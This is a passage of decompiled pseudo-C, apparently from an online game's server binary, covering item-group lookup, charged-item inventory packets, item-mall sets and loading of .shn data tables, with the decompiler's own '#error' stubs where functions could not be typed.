v5 != -1 && (_WORD)v5 != -1 ) { LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); result = v6; } else { v7 = BTree::operator__(&v3->igc_btree, v4); if ( v7 != -1 ) { v8 = v7 >= v3->igc_point; str = (char *)(v7 < v3->igc_point); if ( v8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::operator [] : Invalid group name", v4); } else { v9 = (int)((char *)v3 + 32 * v7); v10 = (CardDeck::CardStack *)(v9 + 1028); CardDeck::CardStack::cs_Suffle((CardDeck::CardStack *)(v9 + 1028), 1); v11 = 0; if ( *(_WORD *)(v9 + 1048) ) { while ( 1 ) { if ( !CardDeck::CardStack::cs_TakeTop(v10, (unsigned int *)&str) ) { v15 = 0; v14 = "ItemGroupClassifier::operator [] : Empty card stack"; goto LABEL_14; } v6 = (unsigned __int16)str; CardDeck::CardStack::cs_InsertBottom(v10, (unsigned int)str); v12 = ItemDataBox::operator__(&itemdatabox, v6); if ( !v12 ) break; if ( clsmask & v12->data->WhoEquip ) goto LABEL_17; ++v11; if ( v11 >= *(_WORD *)(v9 + 1048) ) goto LABEL_15; } v15 = v6; v14 = "ItemGroupClassifier::igc_Getitem : Invalid Item"; LABEL_14: AssertClass::ac_AssertFail(&shineassert, v14, v15); } } } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); result = -1; } return result; } //----- (0047DB40) -------------------------------------------------------- char __thiscall ItemGroupClassifier::igc_ChargedDuringUse(ItemGroupClassifier *this, ItemAttributeClass *iac, ItemTotalInformation *iti) { int v3; // eax@1 int v4; // eax@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemGroupClassifier::igc_ChargedDuringUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ((int (__stdcall *)(_DWORD))iac->vfptr->iac_GetDeteleDateTime)(&iti->iti_itemstruct); if ( v3 && (v4 = *(_DWORD *)v3 & 0xFF) != 0 && v4 != 255 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); result = 0; } return result; } //----- (0047DC20) -------------------------------------------------------- #error "47DC20: undefined or illegal type '#593' (funcsize=49)" //----- (0047DCF0) -------------------------------------------------------- #error "47DCF0: undefined or illegal type '#593' (funcsize=48)" //----- (0047DDC0) -------------------------------------------------------- #error "47DDC0: undefined or illegal type '#593' (funcsize=49)" //----- (0047DEA0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0047DF10) -------------------------------------------------------- int __stdcall ShineObjectClass::ShinePlayer::sp_CalcTotalLot(int bag, __int16 itemid) { int v2; // esi@1 int result; // eax@3 int v4; // eax@4 int ibii; // [sp+8h] [bp-20h]@1 int v6; // [sp+Ch] [bp-1Ch]@1 int v7; // [sp+10h] [bp-18h]@1 int v8; // [sp+14h] [bp-14h]@1 __int16 v9; // [sp+18h] [bp-10h]@1 int v10; // [sp+24h] [bp-4h]@1 ibii = (int)&ItemBoxIterator::_vftable_; v6 = bag; v2 = 0; v8 = (*(int (**)(void))(*(_DWORD *)bag + 8))(); ibii = (int)&ItemBoxIterIdent::_vftable_; v9 = itemid; v10 = 0; v7 = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v4 = (**(int (__stdcall ***)(_DWORD))v6)(v7); v2 += (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); result = v2; } else { result = 0; } return result; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0047DFD0) -------------------------------------------------------- ItemLotInspector *__cdecl ShineObjectClass::ShineObject::so_ply_GetItemLotInspector() { return &ShineObjectClass::ShineObject::so_ItemLotInspector; } //----- (0047DFE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetItemLotInspector(void *this) { return (int)((char *)this + 7452); } //----- (0047DFF0) -------------------------------------------------------- void __thiscall ItemLotInspector::ItemLotInspector(ItemLotInspector *this) { ItemLotInspector *v1; // eax@1 unsigned int v2; // esi@1 char *v3; // ecx@1 v1 = this; this->ili_ArrayPointer.mask = 63; this->ili_ArrayPointer.value = 0; v2 = this->ili_ArrayPointer.mask; this->ili_ArrayPointer.value = v2 & 1; v3 = &this->gap4[248 * (v2 & 1)]; v1->ili_Action = 0; *((_WORD *)v3 + 2) = -1; v3[228] = 0; v3[220] = 0; v3[112] = 0; v3[6] = 0; } //----- (0047E040) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Clear(ItemLotInspector *this) { char *v1; // eax@1 signed int v2; // ecx@1 v1 = this->gap4; v2 = 64; do { *((_WORD *)v1 + 2) = -1; *(_DWORD *)v1 = 0; v1 += 248; --v2; } while ( v2 ); } //----- (0047E070) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_CalcTotalLot(void *this, __int16 itemid, int isstoragecount, char first) { void *v4; // esi@1 int v5; // edi@1 int result; // eax@3 v4 = this; v5 = ShineObjectClass::ShinePlayer::sp_CalcTotalLot((int)((char *)this + 35680), itemid); if ( first ) { if ( *((_BYTE *)v4 + 23352) & 0x10 ) { result = ShineObjectClass::ShinePlayer::sp_CalcTotalLot((int)((char *)v4 + 69776), itemid) + v5; *(_BYTE *)isstoragecount = 1; } else { *(_BYTE *)isstoragecount = 0; result = v5; } } else { if ( *(_BYTE *)isstoragecount ) v5 += ShineObjectClass::ShinePlayer::sp_CalcTotalLot((int)((char *)v4 + 69776), itemid); result = v5; } return result; } //----- (0047E0F0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_History(ItemLotInspector *this) { ItemLotInspector *v1; // esi@1 unsigned int v2; // eax@1 DebugLogging *v3; // edi@3 _iobuf *v4; // eax@5 DebugLogging *v5; // edi@7 _iobuf *v6; // eax@9 DebugLogging *v7; // ebp@11 _iobuf *v8; // eax@13 DebugLogging *v9; // ebp@15 _iobuf *v10; // eax@17 DebugLogging *v11; // ebp@19 _iobuf *v12; // eax@21 DebugLogging *v13; // edi@23 _iobuf *v14; // eax@25 DebugLogging *v15; // ebp@27 _iobuf *v16; // eax@29 DebugLogging *v17; // ebp@31 _iobuf *v18; // eax@33 DebugLogging *v19; // ebp@35 _iobuf *v20; // eax@37 DebugLogging *v21; // edi@39 _iobuf *v22; // eax@41 DebugLogging *v23; // ebp@43 _iobuf *v24; // eax@45 DebugLogging *v25; // ebp@47 _iobuf *v26; // eax@49 DebugLogging *v27; // ebp@51 _iobuf *v28; // eax@53 DebugLogging *v29; // ebp@55 _iobuf *v30; // eax@57 DebugLogging *v31; // ebp@59 _iobuf *v32; // eax@61 DebugLogging *v33; // ebp@63 _iobuf *v34; // eax@65 DebugLogging *v35; // edi@67 _iobuf *v36; // eax@69 DebugLogging *v37; // edi@71 _iobuf *v38; // eax@73 DebugLogging *v39; // esi@75 _iobuf *v40; // eax@77 DebugLogging *v41; // esi@79 _iobuf *v42; // eax@82 bool v43; // sf@83 unsigned __int8 v44; // of@83 int k; // [sp+10h] [bp-20h]@1 int sub; // [sp+1Ch] [bp-14h]@3 unsigned int v47; // [sp+20h] [bp-10h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemLotInspector::ili_History"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemLotInspector::ili_History"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->ili_ArrayPointer.value; v47 = v1->ili_ArrayPointer.mask; k = 0; while ( 1 ) { sub = v47 & (v2 + 1); v3 = DebugLogging::operator<<(&ItemMSLog, "\t"); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } v5 = DebugLogging::operator<<(v3, " Act["); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, "] From0["); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } v11 = DebugLogging::operator<<(v9, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v11->dl_Activ ) { DebugLogging::dl_FilePoint(v11); v12 = v11->dl_FilePointer; if ( v12 ) fprintf(v12, "%d"); } } v13 = DebugLogging::operator<<(v11, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v13->dl_Activ ) { DebugLogging::dl_FilePoint(v13); v14 = v13->dl_FilePointer; if ( v14 ) fprintf(v14, "%d"); } } v15 = DebugLogging::operator<<(v13, "] From1["); if ( DebugLogging::dl_ActivAll ) { if ( v15->dl_Activ ) { DebugLogging::dl_FilePoint(v15); v16 = v15->dl_FilePointer; if ( v16 ) fprintf(v16, "%d"); } } v17 = DebugLogging::operator<<(v15, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v17->dl_Activ ) { DebugLogging::dl_FilePoint(v17); v18 = v17->dl_FilePointer; if ( v18 ) fprintf(v18, "%d"); } } v19 = DebugLogging::operator<<(v17, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v19->dl_Activ ) { DebugLogging::dl_FilePoint(v19); v20 = v19->dl_FilePointer; if ( v20 ) fprintf(v20, "%d"); } } v21 = DebugLogging::operator<<(v19, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v21->dl_Activ ) { DebugLogging::dl_FilePoint(v21); v22 = v21->dl_FilePointer; if ( v22 ) fprintf(v22, "%d"); } } v23 = DebugLogging::operator<<(v21, "] To0["); if ( DebugLogging::dl_ActivAll ) { if ( v23->dl_Activ ) { DebugLogging::dl_FilePoint(v23); v24 = v23->dl_FilePointer; if ( v24 ) fprintf(v24, "%d"); } } v25 = DebugLogging::operator<<(v23, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v25->dl_Activ ) { DebugLogging::dl_FilePoint(v25); v26 = v25->dl_FilePointer; if ( v26 ) fprintf(v26, "%d"); } } v27 = DebugLogging::operator<<(v25, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v27->dl_Activ ) { DebugLogging::dl_FilePoint(v27); v28 = v27->dl_FilePointer; if ( v28 ) fprintf(v28, "%d"); } } v29 = DebugLogging::operator<<(v27, "] To1["); if ( DebugLogging::dl_ActivAll ) { if ( v29->dl_Activ ) { DebugLogging::dl_FilePoint(v29); v30 = v29->dl_FilePointer; if ( v30 ) fprintf(v30, "%d"); } } v31 = DebugLogging::operator<<(v29, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v31->dl_Activ ) { DebugLogging::dl_FilePoint(v31); v32 = v31->dl_FilePointer; if ( v32 ) fprintf(v32, "%d"); } } v33 = DebugLogging::operator<<(v31, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v33->dl_Activ ) { DebugLogging::dl_FilePoint(v33); v34 = v33->dl_FilePointer; if ( v34 ) fprintf(v34, "%d"); } } v35 = DebugLogging::operator<<(v33, "] MoveLot["); if ( DebugLogging::dl_ActivAll ) { if ( v35->dl_Activ ) { DebugLogging::dl_FilePoint(v35); v36 = v35->dl_FilePointer; if ( v36 ) fprintf(v36, "%d"); } } v37 = DebugLogging::operator<<(v35, "] TotalLot["); if ( DebugLogging::dl_ActivAll ) { if ( v37->dl_Activ ) { DebugLogging::dl_FilePoint(v37); v38 = v37->dl_FilePointer; if ( v38 ) fprintf(v38, "%d"); } } v39 = DebugLogging::operator<<(v37, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v39->dl_Activ ) { DebugLogging::dl_FilePoint(v39); v40 = v39->dl_FilePointer; if ( v40 ) fprintf(v40, "%d"); } } v41 = DebugLogging::operator<<(v39, (char *)&unk_63D200); if ( DebugLogging::dl_ActivAll && v41->dl_Activ && v41->dl_FilePointer ) { v42 = DebugLogging::dl_FilePoint(v41); fputc(10, v42); fflush(v41->dl_FilePointer); fclose(v41->dl_FilePointer); v41->dl_FilePointer = 0; } v44 = __OFSUB__(k + 1, 64); v43 = k++ - 63 < 0; if ( !(v43 ^ v44) ) break; v2 = sub; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotInspector::ili_History"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0047E790) -------------------------------------------------------- #error "47E790: undefined or illegal type '#734' (funcsize=93)" //----- (0047E900) -------------------------------------------------------- #error "47E900: undefined or illegal type '#734' (funcsize=236)" //----- (0047EC20) -------------------------------------------------------- #error "47EC20: undefined or illegal type '#734' (funcsize=38)" //----- (0047ECB0) -------------------------------------------------------- ItemMall::ItemSetList *__thiscall ItemMall::im_FindStruct(ItemMall *this, unsigned int code) { int v2; // esi@1 int v3; // eax@1 ItemMall *v4; // edx@2 ItemMall::ItemSetList *result; // eax@5 v2 = this->im_Goods; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this; while ( v4->im_Booth[0].isl_Code != code ) { ++v3; v4 = (ItemMall *)((char *)v4 + 88); if ( v3 >= v2 ) goto LABEL_5; } result = (ItemMall::ItemSetList *)((char *)this + 88 * v3); } return result; } //----- (0047ECF0) -------------------------------------------------------- void __thiscall ItemMall::im_AddSet(ItemMall *this, ItemMall::ItemSetList *isl, ItemShop *is) { unsigned int v3; // eax@4 if ( isl->isl_NumOfSet >= 10 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer, isl->isl_Code); ShineExit((char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[2]); } isl->isl_SetItem[isl->isl_NumOfSet].lot = is->Lot; v3 = BTree::operator__(&stru_131DE8B8, is->InxName); if ( v3 == -1 ) LOWORD(v3) = -1; isl->isl_SetItem[isl->isl_NumOfSet].item = v3; if ( isl->isl_SetItem[isl->isl_NumOfSet].item == -1 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[1], is->InxName); ShineExit((char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[2]); } ++isl->isl_NumOfSet; } //----- (0047ED90) -------------------------------------------------------- #error "47ED90: undefined or illegal type '#734' (funcsize=24)" //----- (0047EDE0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3Du, 0x28u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0047EE90) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x39Du, 0x1Cu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0047EF40) -------------------------------------------------------- void __thiscall ItemMall::im_NewSet(ItemMall *this, ItemShop *is) { ItemMall *v2; // esi@1 int v3; // edx@1 v2 = this; v3 = this->im_Goods; if ( v3 >= 8192 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[5].mts_AggroPoint, v3 < 8192); ShineExit((char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } this->im_Booth[this->im_Goods].isl_Code = is->goodsNo; this->im_Booth[this->im_Goods].isl_NumOfSet = 0; ItemMall::im_AddSet(this, (ItemMall::ItemSetList *)this + this->im_Goods, is); ++v2->im_Goods; } //----- (0047EFC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@5 ZoneBaseSession *v6; // eax@7 char *v7; // [sp-4h] [bp-20h]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S8_14 & 1) ) { _S8_14 |= 1u; cmc_54.cmc_AllowMode = 94; atexit(_E9_23); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_54.cmc_AllowMode ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13411; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *((_WORD *)v5 + 6) = 24 * *(_WORD *)(netcmd + 2); *((_WORD *)v5 + 7) = 24 * *(_WORD *)(netcmd + 2) + 23; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[6].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 16); } v7 = (char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 33, 4162); v7 = (char *)&stru_646F38.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (0047F140) -------------------------------------------------------- #error "47F140: undefined or illegal type '#593' (funcsize=53)" //----- (0047F220) -------------------------------------------------------- #error "47F220: undefined or illegal type '#593' (funcsize=370)" //----- (0047F780) -------------------------------------------------------- #error "47F780: undefined or illegal type '#593' (funcsize=53)" //----- (0047F860) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedWithdraw(void *this, int withdraw) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 int v5; // eax@5 int v6; // ST04_4@6 DebugLogging *v7; // eax@6 DebugLogging *v8; // eax@6 int v9; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_646F38.maa_MobActionStruct.inmove_cancelable); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_646F38.maa_MobActionStruct.inmove_cancelable; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12323; *((_WORD *)v3 + 3) = *(_WORD *)(withdraw + 24); *(_DWORD *)(v3 + 2) = *((_DWORD *)v2 + 35782); *((_DWORD *)v2 + 35782) = -1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_646F38.maa_TargetSelect.aggresiveNoLevel, 8); } if ( *(_WORD *)(withdraw + 24) == 4161 ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); if ( (unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 32))( v5, v2, *(_WORD *)(withdraw + 6), 0) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v9 + 40))(v9, *(_WORD *)(withdraw + 6)); } else { v6 = *(_WORD *)(withdraw + 6); v7 = DebugLogging::operator<<( &LockIndexLog, (char *)&stru_646F38.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_646F38.maa_MobActionStruct.inmove_cancelable); } //----- (0047F9C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillChargedInven(void *this, int chargedlist) { void *v2; // ebx@1 char *v3; // esi@1 int v4; // edi@1 __int16 v5; // ax@1 int v6; // ebp@1 int v7; // ebx@5 int v8; // ebp@5 int v9; // esi@13 int v10; // eax@15 void *v11; // [sp+10h] [bp-14h]@1 signed int chargedlista; // [sp+28h] [bp+4h]@4 v2 = this; v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_646F38.maa_MobActionStruct.swingdamage); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_646F38.maa_MobActionStruct.swingdamage; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = chargedlist; *(_WORD *)gpp.pp_Buffer = 12321; v5 = *(_WORD *)(chargedlist + 6); v6 = 0; *((_WORD *)v3 + 1) = v5; if ( v5 == 4161 ) { v3[4] = *(_BYTE *)(chargedlist + 8); if ( *(_BYTE *)(chargedlist + 8) & 1 ) CChargedItem::Clear((CChargedItem *)((char *)v2 + 142740)); chargedlista = 0; if ( *(_WORD *)(v4 + 9) ) { v7 = (int)(v3 + 7); v8 = v4 + 11; while ( CChargedItem::Add((CChargedItem *)((char *)v11 + 142740), (PROTO_CHARGED_ITEM_INFO *)v8) ) { *(_DWORD *)v7 = *(_DWORD *)v8; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v7 + 8) = *(_DWORD *)(v8 + 8); *(_DWORD *)(v7 + 12) = *(_DWORD *)(v8 + 12); v8 += 16; v7 += 16; ++chargedlista; if ( chargedlista >= *(_WORD *)(v4 + 9) ) goto LABEL_10; } v3[4] |= 2u; LABEL_10: v2 = v11; } *((_BYTE *)v2 + 142736) = 1; *(_WORD *)(v3 + 5) = chargedlista; v6 = 0; } else { *(_WORD *)(v3 + 5) = 0; } v9 = 16 * *(_WORD *)(v3 + 5) + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) == v6 ) { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_646F38.maa_MobActionStruct.wander.maw_WanderTick, v9); } else { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_646F38.maa_MobActionStruct.swingdamage); } //----- (0047FB50) -------------------------------------------------------- ItemServerEquipTypeInfo *__thiscall ItemEquipTable::iet_GetArray(ItemEquipTable *this, ISEType ist) { ItemEquipTable *v2; // esi@1 ItemServerEquipTypeInfo *v3; // esi@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemEquipTable::iet_GetArray"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemEquipTable::iet_GetArray"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (signed int)ist < 27 ) v3 = (ItemServerEquipTypeInfo *)((char *)v2 + 28 * ist); else v3 = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemEquipTable::iet_GetArray"); return v3; } //----- (0047FBC0) -------------------------------------------------------- void __thiscall ItemEquipTable::iet_Load(ItemEquipTable *this) { ItemEquipTable *v1; // ebp@1 unsigned int v2; // ebx@1 unsigned int v3; // eax@4 bool v4; // cf@4 void *v5; // eax@6 unsigned int v6; // eax@8 char bindata; // [sp+8h] [bp-68h]@1 int v8; // [sp+38h] [bp-38h]@1 int v9; // [sp+44h] [bp-2Ch]@1 int v10; // [sp+48h] [bp-28h]@1 int v11; // [sp+4Ch] [bp-24h]@1 int v12; // [sp+50h] [bp-20h]@1 int v13; // [sp+54h] [bp-1Ch]@1 int v14; // [sp+58h] [bp-18h]@1 int v15; // [sp+5Ch] [bp-14h]@1 unsigned int v16; // [sp+60h] [bp-10h]@1 int v17; // [sp+6Ch] [bp-4h]@1 v1 = this; v16 = (unsigned int)&bindata ^ __security_cookie; CCharacterTitleData::CCharacterTitleData((BinaryData *)&bindata); v9 = 0; v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v2 = 0; v17 = 0; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&bindata, "../9Data/Hero/ItemServerEquipTypeInfo.shn"); if ( *(_DWORD *)(v8 + 40) <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "ItemEquipTable::iet_Load : LoadError", "ItemServerEquipTypeInfo.shn"); ShineExit("ItemEquipTable::iet_Load"); } v3 = *(_DWORD *)(v8 + 40); v4 = v3 > 0; if ( (signed int)v3 > 0 ) { do { if ( v4 ) v5 = CDataReader::GetRecord((CDataReader *)&bindata, v2); else v5 = &v9; memcpy((char *)v1 + 28 * *(_DWORD *)v5, v5, 0x1Cu); v6 = *(_DWORD *)(v8 + 40); ++v2; v4 = v2 < v6; } while ( (signed int)v2 < (signed int)v6 ); } v17 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&bindata); __security_check_cookie((unsigned int)&bindata ^ v16); } //----- (0047FCD0) -------------------------------------------------------- void __thiscall ItemMall::im_Load(ItemMall *this) { ItemMall *v1; // esi@1 unsigned int v2; // ebx@1 signed int v3; // ebp@1 ItemShop *v4; // eax@3 int v5; // ecx@5 ItemMall *v6; // edx@6 ItemMall::ItemSetList *v7; // ecx@10 char booth; // [sp+Ch] [bp-74h]@1 int v9; // [sp+3Ch] [bp-44h]@1 ItemShop is; // [sp+48h] [bp-38h]@1 unsigned int v11; // [sp+70h] [bp-10h]@1 int v12; // [sp+7Ch] [bp-4h]@1 v1 = this; v11 = (unsigned int)&booth ^ __security_cookie; CCharacterTitleData::CCharacterTitleData((BinaryData *)&booth); is.goodsNo = 0; *(_DWORD *)&is.InxName[0] = 0; *(_DWORD *)&is.InxName[4] = 0; *(_DWORD *)&is.InxName[8] = 0; *(_DWORD *)&is.InxName[12] = 0; *(_DWORD *)&is.InxName[16] = 0; *(_DWORD *)&is.InxName[20] = 0; *(_DWORD *)&is.InxName[24] = 0; *(_DWORD *)&is.InxName[28] = 0; is.Lot = 0; v2 = 0; v12 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&booth, "../9Data/Hero/ItemShop.shn"); v3 = *(_DWORD *)(v9 + 40); 